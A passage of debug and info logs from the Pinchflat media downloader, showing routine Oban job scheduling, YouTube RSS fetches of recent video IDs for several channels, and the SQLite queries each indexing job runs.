{"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:55.332 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.887 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:25.333 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:55.334 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.887 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:25.335 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:55.336 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.889 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:25.337 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:55.338 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.890 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:25.339 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:55.340 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.891 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:25.341 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:50.292 [info] {"args":{"id":2},"id":515,"meta":{},"system_time":1784860850292158099,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:40:50.292 [info] {"args":{"id":1},"id":516,"meta":{},"system_time":1784860850292183678,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:40:50.292 [debug] QUERY OK source="sources" db=0.0ms idle=1225.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:40:50.292 [debug] QUERY OK source="settings" db=0.1ms idle=1008.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:50.292 [debug] QUERY OK source="sources" db=0.2ms idle=1225.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:40:50.292 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:40:50.293 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:50.293 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:40:50.293 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:50.293 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:40:50.293 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:50.293 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 02:40:50.558 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:40:50.559 [debug] QUERY OK source="media_items" db=0.3ms idle=265.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:40:50.559 [debug] QUERY OK source="media_items" db=0.2ms idle=266.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:40:50.560 [debug] QUERY OK source="tasks" db=0.0ms idle=266.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [518, 2, ~U[2026-07-24 02:40:50Z], ~U[2026-07-24 02:40:50Z]] 02:40:50.560 [info] {"args":{"id":2},"id":515,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267936,"event":"job:stop","queue_time":499820,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:40:50.851 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:40:50.852 [debug] QUERY OK source="media_items" db=0.2ms idle=291.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:40:50.854 [debug] QUERY OK source="media_items" db=1.9ms idle=292.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:40:50.854 [debug] QUERY OK source="tasks" db=0.0ms idle=288.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [519, 1, ~U[2026-07-24 02:40:50Z], ~U[2026-07-24 02:40:50Z]] 02:40:50.855 [info] {"args":{"id":1},"id":516,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":562683,"event":"job:stop","queue_time":323305,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:40:55.342 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.892 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:25.343 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:55.344 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.893 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:25.345 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:55.346 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.894 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:25.347 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:55.348 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.895 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:25.349 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:55.350 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.896 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:05.556 [info] {"args":{"id":3},"id":517,"meta":{},"system_time":1784861105556228778,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:45:05.556 [debug] QUERY OK source="sources" db=0.0ms idle=489.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:45:05.556 [debug] QUERY OK source="settings" db=0.0ms idle=489.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:45:05.556 [debug] QUERY OK source="media_profiles" db=0.0ms idle=489.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:45:05.556 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:45:05.557 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:45:05.708 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:45:05.709 [debug] QUERY OK source="media_items" db=0.4ms idle=152.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:45:05.711 [debug] QUERY OK source="media_items" db=1.8ms idle=153.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:45:05.712 [debug] QUERY OK source="tasks" db=0.0ms idle=155.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [520, 3, ~U[2026-07-24 02:45:05Z], ~U[2026-07-24 02:45:05Z]] 02:45:05.712 [info] {"args":{"id":3},"id":517,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":155901,"event":"job:stop","queue_time":487265,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:45:25.351 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:55.352 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.897 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:25.353 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:55.354 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.898 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:25.355 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:55.356 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.899 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:25.357 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:55.358 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.900 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:25.359 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:55.360 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.900 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:25.361 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:50.958 [info] {"args":{"id":2},"id":518,"meta":{},"system_time":1784861450958376306,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:50:50.958 [info] {"args":{"id":1},"id":519,"meta":{},"system_time":1784861450958409669,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:50:50.958 [debug] QUERY OK source="sources" db=0.1ms idle=1890.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:50:50.958 [debug] QUERY OK source="sources" db=0.1ms idle=1890.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:50:50.958 [debug] QUERY OK source="settings" db=0.1ms idle=1007.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:50.959 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:50.959 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:50:50.959 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:50:50.959 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:50.959 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:50:50.959 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:50.959 [debug] Fetching recent media IDs from YouTube RSS feed for source: 